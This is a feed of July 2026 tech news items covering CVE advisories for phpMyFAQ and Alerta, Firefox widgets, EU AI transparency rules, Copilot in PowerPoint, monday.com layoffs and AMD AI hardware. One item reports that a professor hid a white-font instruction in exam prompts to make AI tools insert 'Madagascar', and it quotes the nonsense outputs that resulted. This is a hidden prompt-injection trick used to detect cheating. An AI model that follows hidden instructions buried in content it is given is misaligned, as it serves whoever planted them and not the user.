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Week in review: ServiceNow pre-auth RCE exploited in the wild, Hugging Face breached

Sun, 26 Jul 2026 10:02:10 +0200

Here’s an overview of some of last week’s most interesting news, articles, interviews and videos: AI agents are still logging in as humans Most large companies run more than one AI platform at the same time. Developers pull up coding assistants, marketing teams lean on writing tools, and analysts query enterprise search across separate vendors. Single-provider setups keep giving way to mixed stacks as companies keep their options open. PR3TACK preemptive framework maps threats before … More →

The post Week in review: ServiceNow pre-auth RCE exploited in the wild, Hugging Face breached appeared first on Help Net Security.

CVE-2026-34973 | thorsten phpMyFAQ up to 4.1.0 Search.php searchCustomPages data query logic injection (GHSA-gcp9-5jc8-976x)

Sun, 26 Jul 2026 08:20:08 +0200

A vulnerability labeled as problematic has been found in thorsten phpMyFAQ up to 4.1.0. This vulnerability affects the function searchCustomPages of the file phpmyfaq/src/phpMyFAQ/Search.php. Such manipulation leads to improper neutralization of special elements in data query logic. This vulnerability is documented as CVE-2026-34973. The attack can be executed remotely. There is not any exploit available. The affected component should be upgraded.

B&H launches steeper M5 MacBook Air discounts, saving you up to $200

Sun, 26 Jul 2026 08:09:01 +0200

Both 13-inch and 15-inch MacBook Air laptops are on sale at B&H this week, with new markdowns slashing up to $200 off a variety of configurations and color options.

Save up to $200 on Apple's latest MacBook Air at B&H - Image credit: Apple

Each of the triple-digit MacBook Air discounts highlighted below also includes free 2-day shipping within the contiguous U.S. so you can begin using your new laptop right away.

Save up to $200 on M5 MacBook Airs

Continue Reading on AppleInsider | Discuss on our Forums

Firefox's New Tab Page Will Get Widgets - Including an AI-Powered Daily Crossword

Sun, 26 Jul 2026 07:16:12 +0200

In a sign of the times, Firefox's New Tab page could soon include a crossword puzzle from AI-powered news platform Particle. The blog OMG Ubuntu reports: The mini crossword game is updated daily, with puzzles based around recent content Particle's AI has ingested and summarised that day. [After solving the crossword, links appear to related news articles...] If you just want to try the crossword, you access it in any browser via a direct link. While it may look like Mozilla is trying to capitalise on the Wordle craze several years too late, it's part of its strategy to make the Firefox new tab page a discover destination in itself, not just a springboard for new searches. The 'Daily Grind' crossword widget (name subject to change) is just one of several widgets Firefox has (or will get). You'll also find a to-do list, timer, stock checker, world clock, picture of the day, privacy report and new-look weather widget (bigger than the existing one). During the World Cup 2026, Firefox offered real-time match scores and fixture information too... [T]hey aren't mandatory. You can disable the ones you don't want to use, or, if you don't want any at all, turn them all off to hide the widget area itself. A button to 'show fewer widgets' frees up room to allow other distractions (sponsored stories) on the new tab page to show... [Presumably you can also still open new tabs to a blank page...] They're rolling out to users in certain region and locales already. Plus, Mozilla routinely tests new features with a small set of users before they hit stable builds (i.e., the "Allow Firefox to run feature studies" setting). If you don't have widgets in your Firefox build, but you want them, you can manually enable them in Firefox 153 and later from the about:config page. Search for the following master switch and set it to true to enable the widget area: browser.newtabpage.activity-stream.widgets.system.enabled Then, enable the widgets you want to use by searching: activity-stream.widgets.*.enabled However, the usual caveats about "trying things not enabled by default" still apply. Mozilla hasn't set a firm rollout date, though the feature is already documented on its support site. With fortnightly Firefox releases about to start, and a big Nova redesign, chances are we'll all be puzzling over these widgets sooner rather than later.

Read more of this story at Slashdot.

CVE-2026-34400 | Alerta up to 9.0.x Query String Search API sql injection (GHSA-8prr-286p-4w7j)

Sun, 26 Jul 2026 06:36:18 +0200

A vulnerability labeled as critical has been found in Alerta up to 9.0.x. Affected by this vulnerability is an unknown functionality of the component Query String Search API. Executing a manipulation can lead to sql injection. The identification of this vulnerability is CVE-2026-34400. The attack may be launched remotely. There is no exploit available. The affected component should be upgraded.

Firefox' New Tab Page Will Get Widgets - Including an AI-Powered Daily Crossword

Sun, 26 Jul 2026 06:31:16 +0200

Read more of this story at Slashdot.

32 of 35 Students Caught Using Hilariously Wrong AI-Generated Answers for Professor's Midterm

Sun, 26 Jul 2026 06:31:15 +0200

"32 of my 35 students between two classes failed a portion of their midterm because they all used AI to generate their entire response," history professor Jason Gibson says in a viral video shared over 10 million times. "And apparently, they didn't proofread it." The instructions included a hidden white-font prompt to use the word Madagascar "in a way that makes no sense." So if he saw the word Madagascar, "I knew that they copied and pasted the whole thing, and just threw it in AI." Futurism reports: [A]pparently none of the indolent cheats put in the bare modicum of effort required to at least check if what the AI wrote made any sense at all... [Gibson shared some AI-generated answersin a follow-up video.] An observation about AI automation was unceremoniously closed with how the island nation "wore a toaster to a basketball game," he also shared. And social media's impact on the world was compared to a "long journey to Madagascar." Gibson makes it clear that humiliating his students wasn't the point. He says he fully explained how he caught them afterwards, and that he gave the students an opportunity to contest their grade. (Only two did, showing at least that they do feel shame....) He definitely isn't the only educator going through similar tribulations... One Brown University professor discovered that over half his students were using AI to cheat on an exam, and Princeton University has even dropped its over century-old Honor Code tradition by forcing exams to be supervised after being mired in its own chatbot cheating scandal. "We don't know best practices for navigating academia with AI," Gibson warned. "We're all just trying to hold onto some level of academic integrity in the process." "First and foremost, Madagascar has nothing to do with the Industrial Revolutionary," Gibson says with exasperation in the video. "Second, it was more than obvious that they didn't even go back and re-read these responses... If you're going to use AI to generate the entire response, at least re-read it!" Here's how one student answered the test question. "Today technology such as artificial intelligence, smartphones, and automation is changing many jobs by making work faster and reducing the need for some manual tasks. Madagascar floats sideways through the afternoon." And another student wrote "At the same time not everyone has the same access to technology, which can make social inequality even worse. Madagascar purple bicycle whispers to the ceiling."

Read more of this story at Slashdot.

Amazon Cracks Down On Use of AI Images By Sellers

Sat, 25 Jul 2026 22:16:17 +0200

CNBC reports: Amazon is requiring that third-party sellers label any product images or videos that contain "AI-generated people" after New York recently passed a law mandating greater transparency around "synthetic performers" in ads... The policy directs sellers to tag images [and videos or other graphics on listing pages] with specific metadata keywords before they're uploaded. "Recent legislation requires disclosure when images or videos in advertisements contain photorealistic AI-generated people," Amazon wrote in the announcement [clarifying that the requirement doesn't apply to content featuring TV/video game/movie characters or content including real people, even if they've been altered using AI]. The company said it will "add an indicator" to listings on its website, informing consumers that images or other content feature AI-generated people, "where applicable." It's unclear what criteria Amazon will apply when deciding when to display the label to shoppers... Amazon has embraced AI internally and it's increasingly infusing the technology across its portfolio. The company has optimized listing titles and details so they're more likely to be spotted by AI systems, invested in a recently rebranded assistant called Alexa for Shopping, and launched a feature that injects AI-generated [images of] products into its search bar in real time based on user queries. More Amazon third-party sellers are using AI to generate text, images and other content for their listings, partly by using the company's tools. Outside sellers account for more than 60% of goods sold on Amazon, the article points out. It adds that there's currently no nationwide U.S. law requiring companies to disclose AI-generated advertising content, it adds — but YouTube, Meta, Pinterest, and TikTok have already added labels for AI-generated content. And a new California law also requires large AI providers to embed watermarks in AI-generated images, video and other content...

Read more of this story at Slashdot.

Top Online Sites Debate Cutting Off Google's Crawlers

Sat, 25 Jul 2026 21:04:59 +0200

Futurism reports: [Some online publications] are now debating whether to cut Google off entirely, as the Wall Street Journal reports, illustrating an increasingly fraught relationship between the tech giant and the publishers that are creating content its AI models are regurgitating. According to the newspaper, prominent outlets including USA Today, Politico, the Economist, People, and Reuters are all reexamining their relationship with Google. Some are debating whether to continue to work with the tech giant at all... Even Reddit executives are reevaluating the company's $60 million-a-year contract that allows Google to train its AI models on user-submitted content on the platform. They've similarly watched as Google's AI features discourage users from navigating to Reddit... Beyond pondering whether to cut Google off, other publishers have resorted to suing the company, accusing it of illegally rehashing their intellectual property via AI summaries. It's an extremely undesirable position for publishers. By severing ties with the search giant, they could face even steeper declines in traffic. At the same time, there's seemingly little to gain from having Google's AIs crawl their content — and in the long term, it could guarantee their destruction. Two interesting data points from the article: "Last month, Cloudflare CEO Matthew Prince noticed that automated bot traffic had overtaken human traffic for the first time in the internet's history." "USA Today has seen its traffic from US users drop by almost half over the last year."

Read more of this story at Slashdot.

The EU’s AI transparency deadline is weeks away. Is your enterprise ready?

Sat, 25 Jul 2026 19:50:13 +0200

Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.

To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.

After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”

Henna Virkkunen, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”

Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.

“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”

A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.

Transparency requirements

The EU AI Act’s transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.

“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.

Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.

Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.

AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.

The three icons are publicly available for free use; enterprises can download zip files in PNG and SVG formats.

Most of the Act’s transparency rules begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.

However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”

A consistent code of practice

Along with the transparency guidelines, the Commission has introduced a code of practice that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the AI Act, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.

Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.

Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.

Criteria for compliance

Shashi Bellamkonda, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.

B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.

Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.

“This is a good move for guardrails around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.

Creating a transparency pipeline

Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.

Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.

The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed 55% of cropped images.

“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.

Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”

Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.

His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.

Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.

To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.

“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.

This article originally appeared on CIO.com.

10 cool things Copilot can do in PowerPoint

Sat, 25 Jul 2026 19:50:10 +0200

Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are visually appealing.

In PowerPoint, Microsoft’s Copilot AI assistant can now automate the heavy lifting of presentation creation. It can generate a first-draft presentation in minutes, then help you edit it. You can also prompt Copilot to help you quickly understand the contents of a presentation and glean insights from it. Use the tips in this guide to save oodles of time as you create and work with presentations.

Who can use Copilot in PowerPoint

Individuals with a Microsoft 365 Personal, Family, or Premium subscription have access to Copilot from within PowerPoint and other Microsoft 365 apps. Users with a Premium plan have higher Copilot usage allowances and access to advanced AI features.

For business users, it’s more complicated. Organizations with more than 2,000 users must pay for Microsoft 365 Copilot licenses for their users in addition to their regular Microsoft 365 licenses. Users at organizations with fewer than 2,000 users can use Copilot within M365 apps even without the M365 Copilot add-on licenses, but there are limitations in usage, speed, and feature availability.

To see what kind of access you have, log in to Microsoft’s Copilot Chat web hub and look for your name in the lower left corner. If you see “M365 Copilot (Premium)” under your name, you can use Copilot in M365 apps with priority access and advanced features. “M365 Copilot (Basic)” means you can use Copilot in M365 apps with lower-priority access and limited features. If you see “Copilot Chat (Basic)” or nothing below your name, you can’t use Copilot in M365 apps.

(Copilot Chat Basic users do get some Copilot functionality, including the ability to generate presentations, via the Copilot Chat hub. See our Copilot Chat tutorial for details.)

Working with Copilot in PowerPoint

First, let’s quickly go over the notable settings of the Copilot sidebar.

When you have a presentation open in PowerPoint, click the Copilot icon; it may be floating at the lower-right corner of your PowerPoint window or parked at the right end of the Ribbon toolbar. The Copilot sidebar will open along the right of the page. You’ll type your prompts to Copilot inside the chat window in this pane.

The sidebar on the right is where you interact with Copilot in PowerPOint.

Howard Wen / Foundry

Agent mode: By default, Copilot can build a new presentation or make changes to an existing one in the main PowerPoint window. This is known as “agent mode.” To change this so that Copilot can’t take direct action on a presentation (all its responses appear in the sidebar), click the Allow editing button above the chat window and change it to Chat only.

The tips in this guide require that Copilot be in agent mode, so make sure you see Allow editing above the chat window.

Choice of AI model: Behind the scenes, Copilot has access to various genAI models, including different versions of Anthropic Claude and OpenAI GPT. By default, it decides which model to use based on your prompt. You can set it to use a particular model: click Auto at the upper right of the Copilot pane and select a model from the dropdown that opens.

You can choose which AI model you want Copilot to use for a request.

Howard Wen / Foundry

The tips in this guide should work fine on the default Auto setting. But feel free to experiment switching to specific models to see which give you the best results for particular tasks.

Important: Remember that generative AI output often includes errors, so always check Copilot’s output for accuracy. (Also see our tips for reducing hallucinations in Copilot.) You’ll likely want to rewrite it in your own voice as you’re reviewing it.

1. Create a presentation template

For many people, the hardest part of creating a presentation is getting started. What types of information should be included on the slides, and in what order? Copilot can give you a leg up by creating the type of presentation you need, with placeholder data that you can later replace with your own.

Start a new presentation, open the Copilot sidebar, and type your prompt into the chat window. It’s best to provide very specific details in your prompt. The more context or details you provide, the more likely Copilot will generate a presentation template that suits your needs.

A good prompt should contain the slide count, subject, audience, and tone. Example:

Create a 6-slide presentation for a sales meeting focusing on Q1 revenue. The audience is the sales team, so keep the tone professional and focused on the sales data.

Copilot may ask a series of follow-up questions, such as your preferred visual style and desired level of detail. Then it will generate a presentation template.

Copilot generates a presentation with placeholder data and explains its elements.

Howard Wen / Foundry

You can optionally prompt Copilot for revisions, and when you’re happy with the template, swap in your own data.

2. Create a presentation from a document

You can attach a document (such as a Word document, Excel spreadsheet, or PDF) and prompt Copilot to generate a presentation based on its contents. This works best with a structured-format document (such as a business plan, project proposal, or summary report) that contains sections with headings.

Copilot can extract the document’s text and structure to generate the slide content for the new presentation. This can especially be useful for quickly turning a long report into a visually appealing presentation.

In the Copilot pane, click the + icon at the bottom of the chat window. A list of documents that you’ve recently accessed appears. Select the one that you want Copilot to use. Alternatively, click the magnifying glass icon and inside its search box, type a few letters of the filename for the document you want. (Business users with an M365 Copilot license can select up to five files for Copilot to pull from when creating a presentation.)

Attaching a document for Copilot to base a presentation on.

Howard Wen / Foundry

Then in the chat window, you can enter a prompt that’s as simple as “Create a presentation,” although as always, providing more details and context is better. This is especially important for corporate users who reference multiple source files. It’s useful to tell Copilot what data to pull from each document.

Answer any follow-up questions that Copilot asks, and it will then generate the presentation.

Copilot has generated a professional presentation from a social media marketing campaign document.

Howard Wen / Foundry

Note: Your marketing department may have created one or more branded company templates for Copilot to work from. If that’s the case at your organization, simply open the appropriate company template as your first step. Then you can upload docs and type a prompt as described above. Copilot will create a presentation using the branded template.

3. Add content from a document to a slide

Manually copying text or other content from a document and pasting it into a new slide is a chore. Instead, you can prompt Copilot to extract information directly from a Word document, Excel spreadsheet, or PDF to create new slides.

In the Copilot pane, attach the document using the same steps described in tip 2, then tell Copilot to create a slide from the document. As always, it helps to provide details such as the new slide’s focus or what data to include:

Add a slide based on the attached document.
Use the attached file to add a slide about the project budget that focuses on Q1 projections.
Summarize only the financial section of the attached document as a slide.

A new Copilot-generated slide based on data from an Excel spreadsheet.

Howard Wen / Foundry

4. Refine your slide text

A presentation should be visual and display only the core message. Conciseness and proper writing tone are essential for your slides, so that they don’t lose the attention of your audience.

You can prompt Copilot to refine text on an individual slide in various ways, such as rewriting it in a more professional tone or making it more concise. Highlight the text inside a text box on the slide. On the toolbar that appears over the highlighted text, click Edit with Copilot.

On the menu that opens, you can select a preset prompt to refine the text, such as Condense or Make professional. Or, at the top of this menu, you can type a prompt to rewrite the highlighted text.

Choose a preset prompt for refining text on a slide or type in your own prompt.

Howard Wen / Foundry

Note that this feature affects all the text inside the text box. To rewrite only a portion of text inside a text box, you must split that portion out into a separate text box.

Alternatively, you can prompt Copilot to analyze your entire presentation and tighten up the wording throughout all of its slides. For example:

Make these slides more visual and use less text.

5. Find or create an image

If you have Copilot generate a presentation from an existing Word document that contains images, it will incorporate those images into the presentation. If there are no images in the source document, you can ask Copilot to find or create one and add it to a slide.

To add a stock image or an image from your organization’s brand library, tell Copilot what you’re looking for:

Add a stock photo of young adults in a cafe drinking boba tea.
Add a photo from our asset library of young adults in a cafe drinking boba tea.

To have Copilot create an image using Microsoft’s Designer image generation tool, describe your desired image. As always, specificity is helpful:

Create a photorealistic image of a diverse group of 5 or 6 fashionable young adults sitting in a cafe drinking boba tea. They’re smiling or laughing, and some are looking at their phones.

Copilot in PowerPoint hooks into Microsoft’s Designer tool for image generation.

Howard Wen / Foundry

Just as you need to review any text output from Copilot, take a close look at generated images to be sure nothing looks off.

Also note that Copilot image generation isn’t always reliable in PowerPoint. For some time during our testing for this story, Copilot said it couldn’t create an image because “the image generation service is returning a server error on every attempt.” After about a day and a half, the service began working again.

6. Expand your presentation with relevant slides

As you’re building your presentation, you may find that it’s become text heavy. Or perhaps it could use more visually oriented slides to break things up and make its progression flow better. Copilot can generate and insert new slides that are based on the content of the slides already in the presentation.

In the Copilot pane, specify exactly where you want the new slide to go. This helps Copilot to analyze the content of the slides before and after where you want the new slide. Then it can generate a slide to bridge between the two slides. Examples:

Add a slide after slide 3 about our competitive advantages.
Add a slide after slide 11 that transitions to slide 12.

Need a transition slide? Just ask!

Howard Wen / Foundry

7. Summarize a presentation

Maybe you need a quick refresh of your presentation before an important meeting. Or maybe a co-worker has sent you a presentation that’s packed with lots of slides. You can prompt Copilot to generate a summary of the presentation’s overall messaging.

In the Copilot pane, just type “summarize this presentation.” You can also have Copilot flag key slides that contain important information: “show me key slides.”

Ask Copilot to summarize a presentation or flag key slides.

Howard Wen / Foundry

8. Answer questions about a presentation

As you’re reviewing a presentation, especially one that you didn’t create and are not familiar with, you can get Copilot to pull key data points from its slides.

In the Copilot pane, type specific informational questions. Examples:

What are the action items in this deck?
What is the proposed budget mentioned here?

If Copilot can’t find the exact answer to the question you ask, it will provide related information from the presentation.

Ask Copilot specific questions about the contents of a presentation.

Howard Wen / Foundry

This method can also help you validate that your presentation includes everything you want it to. If you ask Copilot about the action items in a presentation and it can’t find any, you know you need to add them. (Copilot will likely offer to generate them for you based on the rest of the slides.)

You can even take this tactic a step further and ask Copilot if the presentation is missing any important data, if any slides are weak or confusing, if there are any awkward transitions, if there are key points that should be better emphasized, and so on.

9. Help you navigate a large presentation

In the business world, presentations with dozens of slides are not uncommon, such as for financial reports or project documentation. Trying to find a specific slide or multiple slides can be tough. Copilot can help you navigate such a presentation.

In the Copilot pane, prompt Copilot to find slides based on specific topics. Example:

Show me the slides about the project timeline.

Copilot will analyze the presentation and reply with a list of links to the relevant slides. Click one of these to jump directly to that slide.

Copilot can help you zoom directly to a slide that covers a particular topic or shows specific data.

Howard Wen / Foundry

10. Generate speaker notes and/or an FAQ

Here’s a great timesaver when you’re preparing to show your presentation to an audience: Copilot can automatically generate suggested speaker notes for you, based on the content of your slides. Example prompt:

Write speaker notes for every slide with one talking point per slide.

Copilot can create speaker notes in seconds.

Howard Wen / Foundry

In a related feature, Copilot can create a frequently asked questions list (FAQ) for you to consult in your speaker notes or to present as a slide:

Write an FAQ for these slides.

Copilot will ask where you want the questions and answers added — as a new slide at the end, integrated into the speaker notes of relevant slides, or somewhere else that you designate. Make a selection, and Copilot will generate the FAQ based on the content of your presentation.

A Copilot-generated FAQ slide.

Howard Wen / Foundry

Monday.com cuts 20% of its workforce to restructure for the AI era

Sat, 25 Jul 2026 19:50:09 +0200

Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.

Monday.com co-founder and co-CEO Eran Zinman today announced the “very difficult decision” to reduce the AI work platform company’s global workforce by about 20%, or 620 people.

The move has nothing to do with increasing margins or replacing humans with AI, he insisted in his post on LinkedIn; rather, it’s a calculated decision to trim down and hone the company’s focus as AI becomes integral to day-to-day workflows.

“This is not a distress signal; it is a deliberate reset, disclosed with its price attached,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. “The industry has quietly swapped the meaning of productivity, and this filing is the clearest exhibit yet.”

A ‘significant opportunity’ in technology

In a SEC filing this week, monday.com said its restructuring plan reflects the “ongoing transformation of its product, marketing, and go-to-market strategy.” The move is intended to support a “leaner, more focused operating model” as the company continues to invest in its AI-driven strategy.

Zinman noted in his post that the company has shifted to “doing the work with AI and not just managing it,” and is focused on building environments where “people and AI agents [work] together in one workspace.”

In recent months, monday.com has evolved its products, strategy, and the way it serves its customers, and Zinman contended that “the organization we built for our previous chapter is not the organization that fits the new AI era.” Monday.com needs to “execute more decisively,” take on new challenges, and quickly respond to market changes, he said.

“We have never seen such a significant opportunity in software, driven by such exciting technology,” Zinman noted. He emphasized that the reduction is not to replace people with AI, nor to improve margins; the “vast majority” of savings will be reinvested into talent, products, and AI.

The restructuring will result in a “flatter organization” with fewer management layers and smaller, more autonomous teams, and monday.com also has a new go-to-market model, Zinman explained. Customers expect “deeper implementation support” as they deploy AI, and the company will work more closely with customers, increase its on-site presence, create new roles, and “adapt many existing ones.” In its SEC filing, the company said it expects to continue hiring in “key strategic areas” throughout 2026.

Workers will be expected to work better, “not harder,” Zinman noted. He pointed to several past examples where work could have been done in a few days, but instead took many months with “multiple meetings and endless friction.”

“This wasn’t people’s fault and everyone was frustrated by this,” he said. “Our new org changes ownership to allow people to make decisions and move fast.”

A spokesperson for monday.com declined to comment further on the staff reductions.

Monday.com’s key market advantages

Monday.com certainly isn’t struggling; the company expects 19% to 20% year-over-year growth in 2026.

“Companies in that position do not restructure because they must,” Greyhound’s Gogia noted. “They restructure because they have decided to become something else.”

Melody Brue, VP and principal analyst at Moor Insights & Strategy, pointed out that organizational redesign is important for real AI transformation, but while it can signal confidence to the market, it can still be “devastating” to humans.

While the company looks as though it’s trying to do right, that ultimately remains to be seen, she said. “There are often hidden internal bruises that can surface long after layoffs.”

Monday.com’s advantage is in its “structured substrate,” Gogia noted; its boards, permissions and typed workflows give agents something firmer to act on than just documents and chat history. The company highlights its natively built agents that can be configured by any team member, as well as connectors with Claude, Microsoft Copilot, and ChatGPT, and dedicated routes for external agents to authenticate and operate.

“For some time, the sharper enterprise question has been shifting from who has an agent to who owns the governed runtime in which an agent can safely act,” he said. “Structured work is a serious claim on that runtime.”

But parts of monday.com’s agent estate remain in staged release, and its product is ultimately “mid-transition,” Gogia pointed out; its agent builder carried a beta label as recently as March,. Also, the company’s pricing model changed in May to a hybrid model charging for seats as well as mandatory AI credits. And, while its AI-powered no-code builder monday vibe passed $1 million in annual recurring revenue within two and a half months, monday.com has not released subsequent outcomes, usage volumes, or attach rates.

Further, there’s an element of “gravity” with its competitors, he observed. Asana is reorganizing teams around agents, Atlassian is wiring agents into the developer estate, and others are simply bundling them into their offerings: Microsoft is doing so across the productivity stack, and ServiceNow across enterprise operations, each with identity and procurement built in.

“Their pull is strongest exactly where monday.com wants to grow, in the largest accounts, where control-plane depth and administrative reach decide the deal,” said Gogia.

Actions for the near-term

Going forward, buyers should focus on operating risk, not headline risk, Moor’s Brue noted. In practice, that’s continuity of service, roadmap consistency, and strength of enterprise support. Productivity should be valued as better outcomes per unit of organizational effort, not mere activity.

“It should be a measure of how much smoother, faster, and more effective the operating model becomes when AI is built into the work,” said Brue.

Gogia noted that strain surfaces first in customer service, and monday.com’s attention is being redistributed. The company’s annual report disclosed that its focus is now concentrated on the largest accounts, with support for medium-sized clients moved to an AI-first and human-supported model.

During the first month of the transition, buyers should track named account continuity and escalation times, he advised. By the first quarter, keep an eye on whether credit governance and admin controls mature on schedule, and if the roadmap beyond the AI estate keeps pace. By the half-year mark, determine whether promised implementation depth is producing outcomes or “simply more billable engagement.”

Support tiers should be enumerated in writing before renewal, and buyers should contract for “side exits,” Gogia emphasized, with overage pricing fixed in advance, the right to pause consumption, and portability for workflows and agent configuration “if the relationship sours.” Finance should also insist on monthly consumption reporting by capability. Further, integration efforts, partner dependency, and change management should be considered first-class costs of the agent era, “not as afterthoughts to a license.”

“A license was a known cost,” said Gogia. “A meter is a behavior, and behavior is harder to forecast than headcount.”

This article originally appeared on CIO.com.

AMD raises the AI stakes with Helios, Venice and robotics

Sat, 25 Jul 2026 19:50:07 +0200

AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.

AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its Helios AI platform is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).

The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.

AMD’s MI455X targets the AI memory wall

The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.

Compared to AMD’s current MI355X, the MI455X offers 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.

AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.

AMD

The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.

The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.

AMD’s Helios rack takes aim at Vera Rubin

Dave Altavilla

Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.

In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.

